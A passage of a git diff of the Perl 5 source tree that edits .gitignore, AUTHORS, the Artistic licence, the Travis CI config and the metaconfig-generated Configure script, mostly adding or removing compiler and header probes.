diff --git a/.gitignore b/.gitignore index 6ce50f0efd3d..131b1e4716e5 100644 --- a/.gitignore +++ b/.gitignore @@ -34,7 +34,6 @@ bug*.pl /perlmain.c /perlmini.c /pod/Makefile -/preload /runtests /writemain /x2p/Makefile @@ -116,7 +115,6 @@ lib/Config.pod lib/Cross.pm lib/ExtUtils/MANIFEST.SKIP lib/ExtUtils/xsubpp -lib/Storable/Limit.pm lib/auto/ lib/perldoc.pod lib/buildcustomize.pl @@ -142,7 +140,6 @@ t/perl t/test_state *.output *.tmp -*.bak t/*.ph t/lib/*.ph diff --git a/.metaconf-exclusions.txt b/.metaconf-exclusions.txt deleted file mode 100644 index ce9e3d565868..000000000000 --- a/.metaconf-exclusions.txt +++ /dev/null @@ -1,26 +0,0 @@ -# This file is used when building the Configure script from the metaconfig -# units. Ordinarily, if any *.c or *.h or *.sh file mentions a symbol that can -# be provided by a metaconfig unit, the generated Configure will include the -# relevant probe. But in some cases, that's inappropriate: we have symbols that -# we no longer need to probe for, but must define in perl.h for backwards -# compatibilty with XS modules. Also, our C files contain tokens like "index" -# that are used as the names of Perl builtins, but would be treated by -# metaconfig as implicit requests for a particular unit that we don't need. -# -# Previously, we've used customised "stub" versions of metaconfig units to -# handle this situation, but that doesn't scale (and, in particular, requires -# us to maintain those customised units for as long as the relevant symbols are -# defined by the units in the upstream dist package). -# -# A better approach is to list those symbols here (and invoke metaconfig with -# the "-X .metaconf-exclusions.txt" option when generating Configure); that -# will prevent the relevant units from being used. -# -# See also metaconfig.h, which works in the other direction — it forces units -# to be included, even before specific code using the relevant symbols has been -# written. - -I_LIMITS -I_STDARG -index -rindex diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index cd235e74daa8..000000000000 --- a/.travis.yml +++ /dev/null @@ -1,70 +0,0 @@ -language: c -cache: ccache - -os: - - linux - - osx - -compiler: - - gcc - - clang - -install: - - git fetch --unshallow --tags # t/porting/cmp_version.t - # install & enable ccache on osx - - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then brew update && brew install ccache; fi - - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then export PATH="/usr/local/opt/ccache/libexec:$PATH"; fi - -env: - global: - - JOBS=4 - matrix: - - CONFIGURE_ARGS='-Uusethreads' - - CONFIGURE_ARGS='-Dusethreads' - -# only use gcc on linux, and only use clang on osx for now -matrix: - exclude: - - compiler: clang - os: linux - - compiler: gcc - os: osx - -script: - - ./Configure -des -Dusedevel -Uversiononly -Dcc="ccache $CC" $CONFIGURE_ARGS -Dprefix=$HOME/perl-blead -DDEBUGGING -# all script commands are always run -# rather than using one very long oneliner using '&&', just always check the build status - - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then TEST_JOBS=$JOBS make -j$JOBS test_harness_notty; fi - - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then make -j$JOBS install; fi - - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then $HOME/perl-blead/bin/perlivp; fi - -addons: - apt: - packages: - - file - - cpio - - libdb-dev - - libgdbm-dev - - zlib1g-dev - - libbz2-dev - -notifications: -## use dedicated email for smoking ? -# email: -# recipients: -# - perl5-porters@perl.org -# on_success: never # default: change -# on_failure: always # default: always - irc: - nick: travisci - channels: - - "irc.perl.org#p5p-qa" -# - "irc.perl.org#bot-test" - template: - - "Report for %{repository} (%{commit}) from %{author} (%{elapsed_time})" - - "Status: %{message}" - - "Build URL: %{build_url}" - - "GitHub URL: https://github.com/p5h/perl5demo/commit/%{commit}" # adjust this url to use the production repo - on_success: change # default: always - on_failure: always # default: always -# use_notice: true \ No newline at end of file diff --git a/AUTHORS b/AUTHORS index 06bde860c327..c9e68ddca50e 100644 --- a/AUTHORS +++ b/AUTHORS @@ -18,17 +18,18 @@ -- A. C. Yardley A. Sinan Unur -Aaron B. Dossett Aaron Crane +Aaron B. Dossett Aaron J. Mackey Aaron Priven Aaron Trevena +Achim Gratz +Augustina Blair Abe Timmerman Abhijit Menon-Sen Abigail Abir Viqar Achim Bohnet -Achim Gratz Adam Flott Adam Kennedy Adam Krolnik @@ -68,7 +69,6 @@ Alexander Klimov Alexander Smishlajev Alexander Voronov Alexandr Ciornii -Alexandr Savca Alexandre (Midnite) Jousset Alexei Alexandrov Alexey Mahotkin @@ -128,9 +128,8 @@ Artiom Morozov Artur Bergman Arvan Ash Berlin -Ask Bjørn Hansen +Ask Bjöern Hansen Audrey Tang -Augustina Blair Axel Boldt Barrie Slaymaker Barry Friedman @@ -153,6 +152,8 @@ Bill Campbell Bill Glicker Billy Constantine Blair Zajac +Brandon Black +Brian Childs Bo Borgerson Bo Johansson Bo Lindbergh @@ -169,15 +170,14 @@ Brad Hughes Brad Lanam Bradley Dean Bram -Brandon Black Brendan Byrd Brendan O'Dea Breno G. de Oliveira Brent B. Powers Brent Dax +Brooks D Boyd Brian Callaghan Brian Carlson -Brian Childs Brian Clarke brian d foy Brian Fraser @@ -192,7 +192,6 @@ Brian Phillips Brian Reichert Brian S. Cashman Brian Strand -Brooks D Boyd Bruce Barnett Bruce J. Keeler Bruce P. Schuck @@ -223,6 +222,7 @@ Chaskiel M Grundman Chia-liang Kao Chip Salzenberg Chip Turner +Chun Bing Ge chocolateboy Chris Ball Chris 'BinGOs' Williams @@ -251,7 +251,6 @@ Christopher Davis Christopher J. Madsen chromatic Chuck Phillips -Chun Bing Ge Chunhui Teng Claes Jacobsson Clark Cooper @@ -313,12 +312,12 @@ Dave Shariff Yadallee David Billinghurst David Caldwell David Campbell -David Cannings David Cantrell David Couture David D. Kilzer David Denholm David Dyck +David Cannings David F. Haertig David Favor David Feldman @@ -329,7 +328,7 @@ David Gay David Glasser David Golden David H. Adler -David H. Gutteridge +David H. Gutteridge David Hammen David J. Fiander David Kerry @@ -359,7 +358,6 @@ Diab Jerius dLux Dmitri Tikhonov Dmitry Karasik -Dmitry Ulanov Dominic Dunlop Dominic Hargreaves Dominique Dumont @@ -403,7 +401,6 @@ Eric Promislow Erich Rickheit Eryq Etienne Grossman -Eugen Konkov Eugene Alterman Evan Miller Evan Zacks @@ -439,7 +436,6 @@ Geoffrey F. Green Geoffrey T. Dairiki Georg Schwarz George Greer -George Hartzell George Necula Geraint A Edwards Gerard Goossen @@ -476,6 +472,7 @@ Gurusamy Sarathy Gustaf Neumann Guy Decoux Gwyn Judd +Heiko Eissfeldt H.J. Lu H.Merijn Brand Hal Morris @@ -487,13 +484,11 @@ Hans Dieter Pearcey Hans Ginzel Hans Mulder Hans Ranke -Harald Jörg Harmen Harmon S. Nine Harri Pasanen Harry Edmon Hauke D -Heiko Eissfeldt Helmut Jarausch Henrik Tougaard Herbert Breunung @@ -561,6 +556,7 @@ Jasmine Ahuja Jasmine Ngan Jason A. Smith Jason E. Stewart +Jason Hord Jason Shirk Jason Stewart Jason Varsoke @@ -599,7 +595,7 @@ Jim Cromie Jim Meyering Jim Miner Jim Richardson -Jim Schneider +Jim Schneider Jirka Hruška Joachim Huober Joaquin Ferrero @@ -623,7 +619,6 @@ John Bley John Borwick John Cerney John D Groenveld -John E. Malmberg John Gardiner Myers John Goodyear John Hasstedt @@ -661,17 +656,15 @@ Jonathan Hudson Jonathan I. Kamens Jonathan Roy Jonathan Stowe -Joost van Baal -Jörg Walter Jos I. Boumans Jose Auguste-Etienne -José Pedro Oliveira Joseph N. Hall Joseph S. Myers Joshua ben Jore Joshua Juran -Joshua Pritikin Joshua Rodd +Joshua Pritikin +Joost van Baal JT McDuffie Juan Gallego Juerd Waalboer <#####@juerd.nl> @@ -680,6 +673,9 @@ Julian Yip juna Jungshik Shin Justin Banks +John E. Malmberg +Jörg Walter +José Pedro Oliveira Ka-Ping Yee kafka Kang-min Liu @@ -692,13 +688,12 @@ Karl Williamson Karsten Sperling Karthik Rajagopalan Kaveh Ghazi -KAWAI Takanori Kay Röpke +KAWAI Takanori Keedi Kim Keith Neufeld Keith Thompson Ken Brown -Ken Cotterill Ken Estes Ken Fox Ken Hirsch @@ -737,10 +732,10 @@ Larry Schwimmer Larry Shatzer Larry W. Virden Larry Wall -Lars Dɪᴇᴄᴋᴏᴡ 迪拉斯 Lars Hecking -Larwan Berke +Lars Dɪᴇᴄᴋᴏᴡ 迪拉斯 Laszlo Molnar +Larwan Berke Laurent Dami Leif Huhn Len Johnson @@ -771,9 +766,7 @@ Marc Green Marc Lehmann Marc Paquette Marc Simpson -Marc-Philip Werner Marcel Grünauer -Marco Fontani Marco Peereboom Marcus Holland-Moritz Marek Rouchal @@ -827,7 +820,6 @@ Mashrab Kuvatov Mathias Koerber Mathieu Arnold Mats Peterson -Matsumoto Yasuhiro Matt Johnson Matt Kimball Matt Kraai @@ -843,6 +835,7 @@ Matthias Ulrich Neeracher Matthias Urlichs Matthijs van Duin Mattia Barbon +Matsumoto Yasuhiro Maurizio Loreti Max Baker Max Maischein @@ -940,7 +933,7 @@ Ollivier Robert Osvaldo Villalon Owain G. Ainsworth Owen Taylor -Pali +Pali Papp Zoltan parv Pascal Rigaux @@ -974,8 +967,8 @@ Pedro Felipe Horrillo Guerra Per Einar Ellefsen Perlover Pete Peterson -Peter Avalos Peter BARABAS +Peter Avalos Peter Chines Peter Dintelmann Peter E. Yee @@ -1003,8 +996,8 @@ Philip Guenther Philip Hazel Philip M. Gollucci Philip Newton -Philippe Bruhat (BooK) Philippe M. Chiasson +Philippe Bruhat (BooK) Pierre Bogossian Piers Cawley Pino Toscano @@ -1033,7 +1026,7 @@ Raphael Manfredi Raul Dias Raymund Will Redvers Davies -Reini Urban +Reini Urban Renee Baecker Reuben Thomas Rex Dieter @@ -1102,8 +1095,8 @@ Scott A Crosby Scott Bronson Scott Gifford Scott Henry -Scott L. Miller Scott Lanning +Scott L. Miller Scott Wiersdorf Sean Boudreau Sean Dague @@ -1128,7 +1121,6 @@ Shinya Hayakawa Shirakata Kentaro Shishir Gundavaram Shlomi Fish -Shoichi Kaji Simon Cozens Simon Glover Simon Leinen @@ -1158,7 +1150,6 @@ Stephen O. Lidie Stephen Oberholtzer Stephen P. Potter Stephen Zander -Stevan Little Steve A Fink Steve Grazzini Steve Hay @@ -1169,6 +1160,7 @@ Steve Pearlmutter Steve Peters Steve Purkis Steve Vinoski +Stevan Little Steven Hirsch Steven Humphrey Steven Knight @@ -1197,6 +1189,7 @@ Thomas Bowditch Thomas Conté Thomas Dorner Thomas Kofler +Tomasz Konojacki Thomas König Thomas Pfau Thomas Sibley @@ -1223,15 +1216,14 @@ Todd Vierling Tokuhiro Matsuno Tom Bates Tom Brown -Tom Christiansen Tom Dinger +Tom Christiansen Tom Horsley Tom Hughes Tom Hukins Tom Phoenix Tom Spindler Tom Wyant -Tomasz Konojacki Tomoyuki Sadahiro Ton Hospel Tony Bowden @@ -1242,8 +1234,8 @@ Tor Lillqvist Torsten Foertsch Torsten Schönfeld Trevor Blackwell -Tsutomu IKEGAMI Tuomas J. Lukka +Tsutomu IKEGAMI Tye McQueen Ulrich Habel Ulrich Kunitz @@ -1258,7 +1250,6 @@ Viktor Turskyi Ville Skyttä Vincent Pit Vishal Bhatia -Vitali Peil Vlad Harchev Vladimir Alexiev Vladimir Marek @@ -1291,8 +1282,8 @@ Yaroslav Kuzmin Yary Hluchan Yasushi Nakajima Yitzchak Scott-Thoennes -Yutaka OIWA Yutaka OKAIE +Yutaka OIWA Yutao Feng Yuval Kogman Yves Orton diff --git a/Artistic b/Artistic index 4ece078a5d85..d1b6e5ad6947 100644 --- a/Artistic +++ b/Artistic @@ -126,6 +126,6 @@ products derived from this software without specific prior written permission. 10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. The End diff --git a/Configure b/Configure index 3be9f05b7d4c..bdcfaf17eff7 100755 --- a/Configure +++ b/Configure @@ -13,19 +13,22 @@ # # Note: this Configure script was generated automatically by the tool # called "metaconfig". Rather than working with this copy of Configure, -# you should use metaconfig. Perl uses a modified version of this -# tool, and this, together with the metaconfig units, are available -# in the git repository: -# $ git clone https://github.com/perl5-metaconfig/metaconfig metaconfig -# The original dist package (including metaconfig) is available on github: -# $ git clone https://github.com/rmanfredi/dist.git dist-git +# you may wish to get metaconfig. Perl uses a modified version of this +# tool, available in the "dist" folder in the checkout of the git repo +# $ git clone git://perl5.git.perl.org/metaconfig.git metaconfig +# The original dist package (including metaconfig) is available via SVN: +# $ svn co https://svn.code.sf.net/p/dist/code/trunk/dist # # Though this script was generated by metaconfig from metaunits, it is -# OK to send patches against Configure itself (but not to commit them -# to blead). It's up to -# the Configure maintainers to backport the patch to the metaunits if it -# is accepted. Exceptions to this rule, and more information, is in -# Porting/pumpkin.pod. +# OK to send patches against Configure itself. It's up to the Configure +# pumpkin to backport the patch to the metaunits if it is accepted. +# For more information on patching Configure, see pod/perlhack.pod +# +# The metaunits are also available from the public git repository: +# http://perl5.git.perl.org/metaconfig.git/ or +# $ git clone git://perl5.git.perl.org/metaconfig.git metaconfig +# +# See Porting/pumpkin.pod for more information on metaconfig. # Generated using [metaconfig 3.5 PL0] # (with additional metaconfig patches by perlbug@perl.org) @@ -229,7 +232,6 @@ extensions='' known_extensions='' nonxs_ext='' static_ext='' -uselanginfo='' useopcode='' useposix='' extras='' @@ -337,6 +339,7 @@ rm_try='' afs='' afsroot='' alignbytes='' +ansi2knr='' archlib='' archlibexp='' d_archlib='' @@ -372,7 +375,6 @@ cppminus='' cpprun='' cppstdin='' d__fwalk='' -d_accept4='' d_access='' d_accessx='' d_acosh='' @@ -392,11 +394,11 @@ d_attribute_unused='' d_attribute_warn_unused_result='' d_printf_format_null='' d_backtrace='' +d_bcmp='' +d_bcopy='' d_builtin_choose_expr='' d_builtin_expect='' -d_builtin_add_overflow='' -d_builtin_mul_overflow='' -d_builtin_sub_overflow='' +d_bzero='' d_c99_variadic_macros='' d_casti32='' castflags='' @@ -426,6 +428,7 @@ d_ctermid_r='' ctime_r_proto='' d_ctime_r='' d_cuserid='' +d_dbl_dig='' d_dbminitproto='' d_difftime='' d_dir_dd_fd='' @@ -440,7 +443,6 @@ d_drand48_r='' drand48_r_proto='' d_drand48proto='' d_dup2='' -d_dup3='' d_eaccess='' d_endgrent='' d_endgrent_r='' @@ -496,11 +498,6 @@ d_fpgetround='' d_fpos64_t='' d_frexpl='' d_fs_data_s='' -d_fchmodat='' -d_linkat='' -d_openat='' -d_renameat='' -d_unlinkat='' d_fseeko='' d_fsetpos='' d_fstatfs='' @@ -629,7 +626,6 @@ d_llrint='' d_llrintl='' d_llround='' d_llroundl='' -d_localeconv_l='' d_localtime_r='' d_localtime_r_needs_tzset='' localtime_r_proto='' @@ -659,16 +655,17 @@ d_madvise='' d_malloc_good_size='' d_malloc_size='' d_mblen='' -d_mbrlen='' -d_mbrtowc='' d_mbstowcs='' d_mbtowc='' +d_memchr='' +d_memcmp='' +d_memcpy='' d_memmem='' -d_memrchr='' +d_memmove='' +d_memset='' d_mkdir='' d_mkdtemp='' d_mkfifo='' -d_mkostemp='' d_mkstemp='' d_mkstemps='' d_mktime='' @@ -686,7 +683,6 @@ d_msgsnd='' d_msync='' d_munmap='' d_nan='' -d_nanosleep='' d_nearbyint='' d_duplocale='' d_freelocale='' @@ -698,13 +694,11 @@ d_nextafter='' d_nexttoward='' d_nice='' d_nl_langinfo='' -d_thread_safe_nl_langinfo_l='' d_off64_t='' d_open3='' d_fpathconf='' d_pathconf='' d_pause='' -d_pipe2='' d_pipe='' d_poll='' d_portable='' @@ -743,6 +737,9 @@ d_rename='' d_rint='' d_rmdir='' d_round='' +d_safebcpy='' +d_safemcpy='' +d_sanemcmp='' d_sbrkproto='' d_scalbn='' d_scalbnl='' @@ -836,6 +833,7 @@ sockethdr='' socketlib='' d_socklen_t='' d_socks5_init='' +d_sprintf_returns_strlen='' d_sqrtl='' d_srand48_r='' srand48_r_proto='' @@ -862,7 +860,12 @@ stdio_bufsiz='' stdio_cnt='' stdio_filbuf='' stdio_ptr='' +d_index='' +d_strchr='' d_strcoll='' +d_strctcpy='' +d_strerrm='' +d_strerror='' d_sysernlst='' d_syserrlst='' d_strerror_l='' @@ -871,12 +874,9 @@ strerror_r_proto='' d_strftime='' d_strlcat='' d_strlcpy='' -d_strnlen='' d_strtod='' -d_strtod_l='' d_strtol='' d_strtold='' -d_strtold_l='' d_strtoll='' d_strtoq='' d_strtoul='' @@ -927,6 +927,9 @@ d_vfork='' usevfork='' d_voidsig='' signal_t='' +d_volatile='' +d_charvspr='' +d_vprintf='' d_wait4='' d_waitpid='' d_wcscmp='' @@ -969,6 +972,7 @@ html3dir='' html3direxp='' installhtml3dir='' i_arpainet='' +i_assert='' i_bfd='' i_crypt='' db_hashtype='' @@ -986,6 +990,7 @@ i_dlfcn='' i_execinfo='' i_fcntl='' i_fenv='' +i_float='' i_fp='' i_fp_class='' i_gdbm='' @@ -995,10 +1000,13 @@ i_ieeefp='' i_inttypes='' i_langinfo='' i_libutil='' +i_limits='' i_locale='' i_machcthr='' i_malloc='' i_mallocmalloc='' +i_math='' +i_memory='' i_mntent='' d_gdbm_ndbm_h_uses_prototypes='' d_gdbmndbm_h_uses_prototypes='' @@ -1028,8 +1036,11 @@ i_quadmath='' i_shadow='' i_socks='' i_stdbool='' +i_stddef='' i_stdint='' i_stdlib='' +i_string='' +strings='' i_sunmath='' i_sysaccess='' i_sysdir='' @@ -1071,8 +1082,11 @@ timeincl='' i_unistd='' i_ustat='' i_utime='' +i_values='' +i_stdarg='' +i_varargs='' +i_varhdr='' i_vfork='' -i_wchar='' d_inc_version_list='' inc_version_list='' inc_version_list_init='' @@ -1232,6 +1246,7 @@ prefixexp='' installprivlib='' privlib='' privlibexp='' +prototype='' ptrsize='' d_PRIXU64='' d_PRId64='' @@ -1353,6 +1368,7 @@ usethreads='' incpath='' mips_type='' usrinc='' +vaproto='' d_vendorarch='' installvendorarch='' vendorarch='' @@ -1470,8 +1486,6 @@ perllibs='' useposix=true : set useopcode=false in your hint file to disable the Opcode extension. useopcode=true -: set uselanginfo=false in your hint file to disable the I18N::Langinfo extension. -uselanginfo=true archname64='' ccflags_uselargefiles='' ldflags_uselargefiles='' @@ -3510,8 +3524,8 @@ EOM ;; nonstop-ux) osname=nonstopux ;; openbsd) osname=openbsd - osvers="$3" - ;; + osvers="$3" + ;; os2) osname=os2 osvers="$4" ;; @@ -5210,7 +5224,7 @@ EOM rp='Try to use long doubles if available?' . ./myread case "$ans" in -y|Y) val="$define" ;; +y|Y) val="$define" ;; *) val="$undef" ;; esac set uselongdouble @@ -5785,107 +5799,6 @@ mc_file=$1; shift; $cc -o ${mc_file} $optimize $ccflags $ldflags $* ${mc_file}.c $libs;' -: stub, used only to satisfy other units -i_stdlib='define' - -: check for lengths of integral types -echo " " -case "$intsize" in -'') - echo "Checking to see how big your integers are..." >&4 - $cat >try.c < -#$i_stdlib I_STDLIB -#ifdef I_STDLIB -#include -#endif -int main() -{ - printf("intsize=%d;\n", (int)sizeof(int)); - printf("longsize=%d;\n", (int)sizeof(long)); - printf("shortsize=%d;\n", (int)sizeof(short)); - exit(0); -} -EOCP - set try - if eval $compile_ok && $run ./try > /dev/null; then - eval `$run ./try` - echo "Your integers are $intsize bytes long." - echo "Your long integers are $longsize bytes long." - echo "Your short integers are $shortsize bytes long." - else - $cat >&4 <&4 -echo 'int main() { long long x = 7; return 0; }' > try.c -set try -if eval $compile; then - val="$define" - echo "You have long long." -else - val="$undef" - echo "You do not have long long." -fi -$rm_try -set d_longlong -eval $setvar - -: check for length of long long -case "${d_longlong}${longlongsize}" in -$define) - echo " " - echo "Checking to see how big your long longs are..." >&4 - $cat >try.c <<'EOCP' -#include -int main() -{ - printf("%d\n", (int)sizeof(long long)); - return(0); -} -EOCP - set try - if eval $compile_ok; then - longlongsize=`$run ./try` - echo "Your long longs are $longlongsize bytes long." - else - dflt='8' - echo " " - echo "(I can't seem to compile the test program. Guessing...)" - rp="What is the size of a long long (in bytes)?" - . ./myread - longlongsize="$ans" - fi - if $test "X$longsize" = "X$longlongsize"; then - echo "(That isn't any different from an ordinary long.)" - fi - ;; -esac -$rm_try - : determine filename position in cpp output echo " " echo "Computing filename position in cpp output for #include directives..." >&4 @@ -5998,6 +5911,108 @@ do set $yyy; var=$2; eval "was=\$$2"; set $yyy; shift; shift; yyy=$@; done' +: see if stdlib is available +set stdlib.h i_stdlib +eval $inhdr + +: check for lengths of integral types +echo " " +case "$intsize" in +'') + echo "Checking to see how big your integers are..." >&4 + $cat >try.c < +#$i_stdlib I_STDLIB +#ifdef I_STDLIB +#include +#endif +int main() +{ + printf("intsize=%d;\n", (int)sizeof(int)); + printf("longsize=%d;\n", (int)sizeof(long)); + printf("shortsize=%d;\n", (int)sizeof(short)); + exit(0); +} +EOCP + set try + if eval $compile_ok && $run ./try > /dev/null; then + eval `$run ./try` + echo "Your integers are $intsize bytes long." + echo "Your long integers are $longsize bytes long." + echo "Your short integers are $shortsize bytes long." + else + $cat >&4 <&4 +echo 'int main() { long long x = 7; return 0; }' > try.c +set try +if eval $compile; then + val="$define" + echo "You have long long." +else + val="$undef" + echo "You do not have long long." +fi +$rm_try +set d_longlong +eval $setvar + +: check for length of long long +case "${d_longlong}${longlongsize}" in +$define) + echo " " + echo "Checking to see how big your long longs are..." >&4 + $cat >try.c <<'EOCP' +#include +int main() +{ + printf("%d\n", (int)sizeof(long long)); + return(0); +} +EOCP + set try + if eval $compile_ok; then + longlongsize=`$run ./try` + echo "Your long longs are $longlongsize bytes long." + else + dflt='8' + echo " " + echo "(I can't seem to compile the test program. Guessing...)" + rp="What is the size of a long long (in bytes)?" + . ./myread + longlongsize="$ans" + fi + if $test "X$longsize" = "X$longlongsize"; then + echo "(That isn't any different from an ordinary long.)" + fi + ;; +esac +$rm_try + : see if inttypes.h is available : we want a real compile instead of Inhdr because some systems : have an inttypes.h which includes non-existent headers @@ -6893,6 +6908,10 @@ EOCP esac $rm_try +: see if this is a float.h system +set float.h i_float +eval $inhdr + : check for long doubles echo " " echo "Checking to see if you have long double..." >&4 @@ -6951,10 +6970,13 @@ $echo "Checking the kind of long doubles you have..." >&4 case "$d_longdbl" in define) $cat <try.c +#$i_float I_FLOAT #$i_stdlib I_STDLIB #define LONGDBLSIZE $longdblsize #define DOUBLESIZE $doublesize +#ifdef I_FLOAT #include +#endif #ifdef I_STDLIB #include #endif @@ -7798,6 +7820,7 @@ EOM ;; esac + : determine whether to use malloc wrapping echo " " case "$usemallocwrap" in @@ -8086,6 +8109,52 @@ esac set d_perl_otherlibdirs eval $setvar +: Cruising for prototypes +echo " " +echo "Checking out function prototypes..." >&4 +$cat >prototype.c < +#endif +int main(int argc, char *argv[]) { + exit(0);} +EOCP +if $cc $ccflags -c prototype.c >prototype.out 2>&1 ; then + echo "Your C compiler appears to support function prototypes." + val="$define" +else + echo "Your C compiler doesn't seem to understand function prototypes." + val="$undef" +fi +set prototype +eval $setvar +$rm -f prototype* + +: Check if ansi2knr is required +case "$prototype" in +"$define") ;; +*) ansi2knr='ansi2knr' + echo " " + cat <&4 + +$me: FATAL ERROR: +This version of $package can only be compiled by a compiler that +understands function prototypes. Unfortunately, your C compiler + $cc $ccflags +doesn't seem to understand them. Sorry about that. + +If GNU cc is available for your system, perhaps you could try that instead. + +Eventually, we hope to support building Perl with pre-ANSI compilers. +If you would like to help in that effort, please contact . + +Aborting Configure now. +EOM + exit 2 + ;; +esac + : DTrace support dflt_dtrace='/usr/sbin/dtrace' $test -x /usr/bin/dtrace && dflt_dtrace='/usr/bin/dtrace' @@ -8961,8 +9030,8 @@ if (echo hi >$first) 2>/dev/null; then echo 'You cannot have filenames longer than 14 characters. Sigh.' >&4 val="$undef" else - echo 'You can have filenames longer than 14 characters.'>&4 - val="$define" + echo 'You can have filenames longer than 14 characters.'>&4 + val="$define" fi else $cat <<'EOM' @@ -9207,7 +9276,7 @@ case "$myhostname" in $test -s hosts } || { test "X$hostcat" != "X" && - $hostcat | $sed -n -e "s/[ ]*#.*//; s/\$/ / + $hostcat | $sed -n -e "s/[ ]*#.*//; s/\$/ / /[ ]$myhostname[ . ]/p" > hosts } tmp_re="[ . ]" @@ -9240,7 +9309,7 @@ case "$myhostname" in .) dflt=.`$sed -n -e 's/ / /g' \ -e 's/^domain *\([^ ]*\).*/\1/p' $tans \ -e 1q 2>/dev/null` - ;; + ;; esac fi ;; @@ -9649,6 +9718,7 @@ esac set usefaststdio eval $setvar + : define an is-a-typedef? function typedef='type=$1; var=$2; def=$3; shift; shift; shift; inclist=$@; case "$inclist" in @@ -9811,8 +9881,8 @@ EOM rp='Try to understand large files, if available?' . ./myread case "$ans" in - y|Y) val="$define" ;; - *) val="$undef" ;; + y|Y) val="$define" ;; + *) val="$undef" ;; esac ;; esac @@ -10053,13 +10123,53 @@ esac prefixvar=vendorscript . ./installprefix -: see if qgcvt exists -set qgcvt d_qgcvt -eval $inlibc +: script used to emit important warnings +cat >warn <msg +else + cat >msg +fi +echo "*** WARNING:" >&4 +sed -e 's/^/*** /' &4 +echo "*** " >&4 +cat msg >>config.msg +echo " " >>config.msg +rm -f msg +EOS +chmod +x warn +$eunicefix warn -: Check what kind of doubles your system has -$echo "Checking the kind of doubles you have..." >&4 -$cat >try.c < instead of ." >&4 + val="$define" +else + val="$undef" + strings=`./findhdr strings.h` + if $test "$strings" && $test -r "$strings"; then + echo "Using instead of ." >&4 + else + ./warn "No string header found -- You'll surely have problems." + fi +fi +set i_string +eval $setvar +case "$i_string" in +"$undef") strings=`./findhdr strings.h`;; +*) strings=`./findhdr string.h`;; +esac + +: see if qgcvt exists +set qgcvt d_qgcvt +eval $inlibc + +: Check what kind of doubles your system has +$echo "Checking the kind of doubles you have..." >&4 +$cat >try.c < #endif -#include +#$i_string I_STRING +#ifdef I_STRING +# include +#else +# include +#endif int checkit(char *expect, char *got) { @@ -10590,10 +10705,6 @@ $rm_try set fwalk d__fwalk eval $inlibc -: see if accept4 exists -set accept4 d_accept4 -eval $inlibc - : Initialize h_fcntl h_fcntl=false @@ -10692,6 +10803,7 @@ $startsh cc="$cc" optimize="$optimize" ccflags="$ccflags" +prototype="$prototype" define="$define" rm_try="$rm_try" usethreads=$usethreads @@ -10719,8 +10831,13 @@ while test $# -ge 2; do fi shift 2 done +test "$prototype" = "$define" && echo '#define CAN_PROTOTYPE' >> try.c cat >> try.c <<'EOCP' +#ifdef CAN_PROTOTYPE #define _(args) args +#else +#define _(args) () +#endif EOCP echo "$foo" >> try.c echo 'int no_real_function_has_this_name _((void)) { return 0; }' >> try.c @@ -10779,15 +10896,16 @@ set $varname; eval $setvar; $rm_try' -: see if we should include sys/time.h +: see if we should include time.h, sys/time.h, or both echo " " -i_time='define' if test "X$timeincl" = X; then - echo "Testing to see if we should include ." >&4 + echo "Testing to see if we should include , or both." >&4 $echo $n "I'm now running the test program...$c" $cat >try.c < +#ifdef I_TIME #include +#endif #ifdef I_SYSTIME #ifdef SYSTIMEKERNEL #define KERNEL @@ -10824,12 +10942,13 @@ EOCP sysselect='' for s_timeval in '-DS_TIMEVAL' ''; do for i_systimek in '' '-DSYSTIMEKERNEL'; do + for i_time in '' '-DI_TIME'; do for i_systime in '-DI_SYSTIME' ''; do case "$flags" in '') $echo $n ".$c" - set try $i_systime $i_systimek $sysselect $s_timeval $s_timezone + set try $i_time $i_systime $i_systimek $sysselect $s_timeval $s_timezone if eval $compile; then - set X $i_systime $i_systimek $sysselect $s_timeval + set X $i_time $i_systime $i_systimek $sysselect $s_timeval shift flags="$*" echo " " @@ -10841,6 +10960,7 @@ EOCP done done done + done timeincl='' echo " " case "$flags" in @@ -10850,6 +10970,12 @@ EOCP *) i_systimek="$undef";; esac case "$flags" in + *I_TIME*) i_time="$define" + timeincl=`./findhdr time.h`" $timeincl" + echo "We'll include ." >&4;; + *) i_time="$undef";; + esac + case "$flags" in *I_SYSTIME*) i_systime="$define" timeincl=`./findhdr sys/time.h`" $timeincl" echo "We'll include ." >&4;; @@ -10924,7 +11050,7 @@ case "$d_asctime_r" in esac case "$asctime_r_proto" in ''|0) d_asctime_r=undef - asctime_r_proto=0 + asctime_r_proto=0 echo "Disabling asctime_r, cannot determine prototype." >&4 ;; * ) case "$asctime_r_proto" in REENTRANT_PROTO*) ;; @@ -11001,15 +11127,8 @@ $cat >attrib.c < #endif -#$i_inttypes I_INTTYPES -#ifdef I_INTTYPES -#include -#endif -#ifndef INTPTR_MAX -#define intptr_t int -#endif int null_printf (char* pat,...) __attribute__((__format__(__printf__,1,2))); -int null_printf (char* pat,...) { return (int)(intptr_t)pat; } +int null_printf (char* pat,...) { return (int)pat; } int main () { exit(null_printf(NULL)); } EOCP if $cc $ccflags -o attrib attrib.c >attrib.out 2>&1 ; then @@ -11236,6 +11355,14 @@ set d_attribute_warn_unused_result eval $setvar $rm -f attrib* +: see if bcmp exists +set bcmp d_bcmp +eval $inlibc + +: see if bcopy exists +set bcopy d_bcopy +eval $inlibc + : see if getpgrp exists set getpgrp d_getpgrp eval $inlibc @@ -11368,117 +11495,6 @@ set d_bsdsetpgrp eval $setvar $rm_try -: Look for GCC-style __builtin_add_overflow -case "$d_builtin_add_overflow" in -'') - echo " " - echo "Checking whether your compiler can handle __builtin_add_overflow ..." >&4 - $cat >try.c <<'EOCP' -int main(void) { - const unsigned int uint_max = ~0u; - int target_int = 0; - if (__builtin_add_overflow(1, 2, &target_int) || target_int != 3) { - return 1; - } - if (!__builtin_add_overflow((int)(uint_max >> 1), 1, &target_int)) { - return 1; - } - if (!__builtin_add_overflow(uint_max, -1, 